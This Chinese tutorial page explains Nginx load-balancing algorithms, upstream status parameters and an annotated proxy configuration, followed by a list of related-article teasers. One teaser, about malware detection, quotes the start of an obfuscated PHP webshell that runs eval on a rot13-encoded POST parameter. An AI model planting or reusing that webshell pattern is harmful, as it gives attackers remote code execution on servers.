Nginx - 负载均衡及其配置(Balance)

一、概述

  1. 定义:在多个计算机(计算机集群)、网络连接、CPU、磁盘驱动器或其他资源中分配负载
  2. 目标:最佳化资源使用、最大化吞吐率、最小化响应时间、避免过载
  3. 功能:使用多台服务器提供单一服务(服务器农场)
  4. ⭐ 工作流程
    1. 负载均衡器(server)监听 1~n 个外部端口(port)
    2. 客户端访问端口,向服务器(server)发起请求
    3. 负载均衡器根据负载均衡策略选择后端内网服务器(upstream)
    4. 负载均衡器将用户请求发送到选定的后端内网服务器(upstream)
    5. 内网服务器将请求的响应返回给负载均衡器(server)
    6. 负载均衡器再将响应发送到客户端
  5. 优点
    1. 安全性:向客户端隐藏内网结构,阻止了用户直接访问后台(内网)服务器,可以阻止对核心网络栈和运行在其它端口服务的攻击
    2. 可用性:当所有后台服务器出现故障时,负载均衡器转发请求到一个备用的负载均衡器、显示一条关于服务中断的消息等,提高容错能力

二、上游服务器组(upstream)

⭐ 调度算法

算法说明
轮询(默认)请求按时间顺序逐一分配到不同的后端服务器,Weight 指定轮询权值,Weight 值越大访问机率越高,用于后端服务器性能不均的情况
ip_hash按访问 IP 的 hash 结果将请求分配给服务器,来自同一个 IP 的访客固定访问一个后端服务器,解决动态网页的 session 共享问题
fair根据后端服务器的响应时间来分配请求,响应时间短的优先分配(必须下载 Nginx 的 upstream_fair 模块)
url_hash按访问 url 的 hash 结果将请求分配给服务器,每个 url 定向到同一个后端服务器,进一步提高后端缓存服务器的效率
least_conn将请求转发给当前连接数最少的后端服务器,能够有效地将请求分配给负载较轻的服务器
hash

状态参数

状态参数
down当前服务器废了,当前的 server 暂时不参与负载均衡
backup预留的备份机器,当所有非 backup 机器故障或者繁忙时,才会请求 backup 机器,因此这台机器的压力最轻
max_fails允许请求失败的次数,默认为 1,当超过最大次数时,返回 proxy_next_upstream 模块定义的错误
fail_timeout经历 max_fails 次失败后,暂停服务的时间

注意:负载调度算法为 ip_hash 时,后端服务器在负载均衡调度中的状态不能有 backup server,因为ip_hash不会基于可用性分配,仍会分给目标服务器

backup 服务器

  1. 功能:所有服务器都不能提供服务时,避免降低用户体验,配置 backup 服务器显示错误信息

  2. backup server 配置

    1. backup upstream 服务器错误时的备份服务器
    2. localhost:8080 upstream 服务器错误时访问的 IP 和端口号
    3. /data/www/errorpage/index.html:错误时显示的页面的地址
  3. 示例

    upstream webservers {server 192.168.18.201 weight=1 max_fails=2 fail_timeout=2;server 192.168.18.202 weight=1 max_fails=2 fail_timeout=2;server 127.0.0.1:8080 backup;
    }server {listen 8080;server_name localhost;root /data/www/errorpage;index index.html;
    }server {...
    }
    

三、示例

  1. 功能

    1. 设置一个 backend 上游服务器组
    2. 设置一个 backup 备份服务器
  2. 代码实现

    # 定义一个名为 `backend` 的上游服务器组
    upstream backend {# 定义负载均衡算法,这里使用 `least_conn` 算法least_conn;# 定义上游服务器,并设置不同的状态参数server backend1.example.com weight=3 max_fails=2 fail_timeout=30s;server backend2.example.com weight=2 max_fails=3 fail_timeout=30s;server backend3.example.com weight=1 max_fails=2 fail_timeout=20s;# 定义一个备份服务器,当所有主服务器都不可用时,流量将转发到备份服务器server backup.example.com backup;}# 定义一个虚拟主机
    server {listen 80;server_name www.example.com;# 配置静态文件路径location / {root /data/www;index index.html;}# 配置负载均衡location /api/ {# 将所有 /api/ 开头的请求代理到 `backend` 上游服务器组proxy_pass <http://backend>;# 传递必要的头部信息给上游服务器proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Forwarded-Proto $scheme;# 设置超时时间和连接选项proxy_connect_timeout 60s;proxy_send_timeout 60s;proxy_read_timeout 60s;proxy_buffering on;proxy_buffer_size 4k;proxy_buffers 4 32k;proxy_busy_buffers_size 64k;proxy_temp_file_write_size 64k;}# 配置错误页面处理error_page 500 502 503 504 /50x.html;location = /50x.html {root /usr/share/nginx/html;}# 配置日志文件access_log /var/log/nginx/access.log;error_log /var/log/nginx/error.log warn;
    }
    
  3. 配置解析

    1. upstream backend
      • least_conn: 使用最少连接数算法,优先选择连接数最少的服务器来处理请求。
      • 服务器配置:
        • weight: 指定服务器的权重,权重越高,被选中的概率越大。
        • max_fails: 允许的最大失败尝试次数,超过这个次数后,服务器将被标记为不可用。
        • fail_timeout: 如果服务器达到 max_fails 限制,将在指定的时间段内被标记为不可用。
      • 备份服务器: 当所有主服务器都不可用时,请求将被转发到备份服务器 backup.example.com。
    2. server:
      • 监听端口: 配置监听在 80 端口。
      • 静态文件路径: 配置根目录为 /data/www,默认首页为 index.html。
      • 负载均衡配置: 将 /api/ 路径下的请求代理到 backend 上游服务器组。
      • 头部信息传递: proxy_set_header 指令用于传递客户端请求的头部信息到上游服务器。
      • 超时和缓冲设置: 配置请求超时时间和缓冲区大小,以优化代理请求的性能。
    3. 错误页面处理: 当发生 500、502、503 或 504 错误时,重定向到 /50x.html 错误页面。
    4. 日志文件: 配置访问日志和错误日志的存储路径及日志级别。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890009.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025山东科技大学考研专业课复习资料一览

[冲刺]2025年山东科技大学020200应用经济学《814经济学之西方经济学[宏观部分]》考研学霸狂刷870题[简答论述计算题]1小时前[强化]2025年山东科技大学085600材料与化工《817物理化学》考研强化检测5套卷22小时前[冲刺]2025年山东科技大学030100法学《704综合一[法理学、国际法学…

vue自定义颜色选择器(重置版)

实现效果 相较于上次发布的颜色选择器&#xff0c;这次加入了圆形的选择器&#xff0c;并且优化了代码。 <SquareColor ref"squareColor" :color"color" change"changeColor1" />setColor1() {// this.color rgba(255, 82, 111, 0.5)thi…

timestamp 时间戳转换成日期的方法 | java.util

时间戳通常是一个long数据&#xff08;注意java中赋值时需要带上L标识是long整型&#xff0c;否则int过长报错&#xff09; 代码实现 常用工具类&#xff1a; java.util.Datejava.time.Instantjava.time.format.DateTimeFormatter toInstant() 方法的功能是将一个 Date 对象…

Minio入门搭建图片服务器

Minio入门搭建图片服务器 闲来无事&#xff0c;之前一直想弄弄图片服务器的软件&#xff0c;搜索了一下有zimg、Nginx、Thumbor、Minio等。想想之前也用过minio&#xff0c;所以就用这个搭建啦。 1. docker安装 docker run -d -p 9000:9000 -p 9001:9001 \ …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

CISC RISC

CISC&#xff1a;设计目标是通过复杂的指令来提高代码密度&#xff0c;减少指令数量&#xff0c;适合内存资源较为有限的系统。CISC处理器的硬件复杂度较高&#xff0c;但在某些应用场合&#xff08;如桌面计算机&#xff09;能够提供足够的性能。 RISC&#xff1a;设计目标是…

使用LSTM神经网络对股票日线行情进行回归训练(Pytorch版)

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;使用LSTM神经网络对股票日线行情进行回归训练&#xff08;Pytorch版&#xff09;-CSDN博客 前言&#xff1a;近期在尝试使用lstm对股票日线数据进行拟合&#xff0c;初见成型但是效果不…

睡岗和玩手机数据集,4653张原始图,支持YOLO,VOC XML,COCO JSON格式的标注

睡岗和玩手机数据集&#xff0c;4653张原始图&#xff0c;支持YOLO&#xff0c;VOC XML&#xff0c;COCO JSON格式的标注 数据集分割 训练组70&#xff05; 3257图片 有效集20&#xff05; 931图片 测试集10&#xff05; 465图片 预处理 没有采用任何预处…

Pandas 索引

在 Pandas 中&#xff0c;索引&#xff08;Index&#xff09;是 DataFrame 和 Series 的核心组成部分&#xff0c;用于标识和访问数据。索引提供了快速、灵活和强大的数据检索方法。以下是关于 Pandas 索引的一些关键点&#xff1a; 1. 创建索引 当创建一个 DataFrame 或 Seri…

labml.ai Deep Learning Paper Implementations (带注释的 PyTorch 版论文实现)

labml.ai Deep Learning Paper Implementations {带注释的 PyTorch 版论文实现} 1. labml.ai2. labml.ai Deep Learning Paper Implementations3. Sampling Techniques for Language Models (语言模型的采样技术)4. Multi-Headed Attention (MHA)References 1. labml.ai https…

使用 Marp 将 Markdown 导出为 PPT 后不可编辑的原因说明及解决方案

Marp 是一个流行的 Markdown 演示文稿工具&#xff0c;能够将 Markdown 文件转换为 PPTX 格式。然而&#xff0c;用户在使用 Marp 导出 PPT 时&#xff0c;可能会遇到以下问题&#xff1a; 导出 PPT 不可直接编辑的原因 根据 Marp GitHub 讨论&#xff0c;Marp 导出的 PPTX 文…

构建一个rust生产应用读书笔记四(实战2)

此门课程学习采用actix-web框架完成一个生产级别的rust应用&#xff0c;在 actix-web 中&#xff0c;Extractors 是一个非常重要的概念&#xff0c;它们用于从传入的 HTTP 请求中提取特定的信息片段。actix-web 提供了多种内置的提取器&#xff0c;以满足常见的使用场景。说白了…

优选生产报工系统:关键选择要素

【优选生产报工系统&#xff1a;数据分析、产品管理与基础数据登录的关键选择要素】 在快速变化的制造业环境中&#xff0c;生产报工系统的重要性不言而喻。它不仅仅是一种记录工时和监控生产进度的工具&#xff0c;更是一种能够实现数据驱动决策、优化产品管理和确保基础数据…

使用Python打造高效的PDF文件管理应用(合并以及分割)

在日常工作和学习中&#xff0c;我们经常需要处理大量PDF文件。手动合并、分割PDF不仅耗时&#xff0c;还容易出错。今天&#xff0c;我们将使用Python的wxPython和PyMuPDF库&#xff0c;开发一个强大且易用的PDF文件管理工具。 C:\pythoncode\new\mergeAndsplitPdf.py 所有代…

【C语言程序设计——入门】C语言程序开发环境(头歌实践教学平台习题)【合集】

目录&#x1f60b; <第1关&#xff1a;程序改错> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第2关&#xff1a;scanf 函数> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第1关&a…

皮肤伤口分割数据集labelme格式248张5类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;284 标注数量(json文件个数)&#xff1a;284 标注类别数&#xff1a;5 标注类别名称:["bruises","burns","cu…

JVM系列之内存区域

每日禅语 有一位年轻和尚&#xff0c;一心求道&#xff0c;多年苦修参禅&#xff0c;但一直没有开悟。有一天&#xff0c;他打听到深山中有一古寺&#xff0c;住持和尚修炼圆通&#xff0c;是得道高僧。于是&#xff0c;年轻和尚打点行装&#xff0c;跋山涉水&#xff0c;千辛万…

大腾智能CAD:国产云原生三维设计新选择

在快速发展的工业设计领域&#xff0c;CAD软件已成为不可或缺的核心工具。它通过强大的建模、分析、优化等功能&#xff0c;不仅显著提升了设计效率与精度&#xff0c;还促进了设计思维的创新与拓展&#xff0c;为产品从概念构想到实体制造的全过程提供了强有力的技术支持。然而…

leetcode 3195.包含所有1的最小矩形面积I

1.题目要求: 2.解题步骤: class Solution { public:int minimumArea(vector<vector<int>>& grid) {//设置二维数组deque<deque<int>> row_distance;for(int i 0;i < grid.size();i){//遍历数组&#xff0c;把每行头部1的小标和尾部1的下标代…

搭建Tomcat(三)---重写service方法

目录 引入 一、在Java中创建一个新的空项目&#xff08;初步搭建&#xff09; 问题&#xff1a; 要求在tomcat软件包下的MyTomcat类中编写main文件&#xff0c;实现在MyTomcat中扫描myweb软件包中的所有Java文件&#xff0c;并返回“WebServlet(url"myFirst")”中…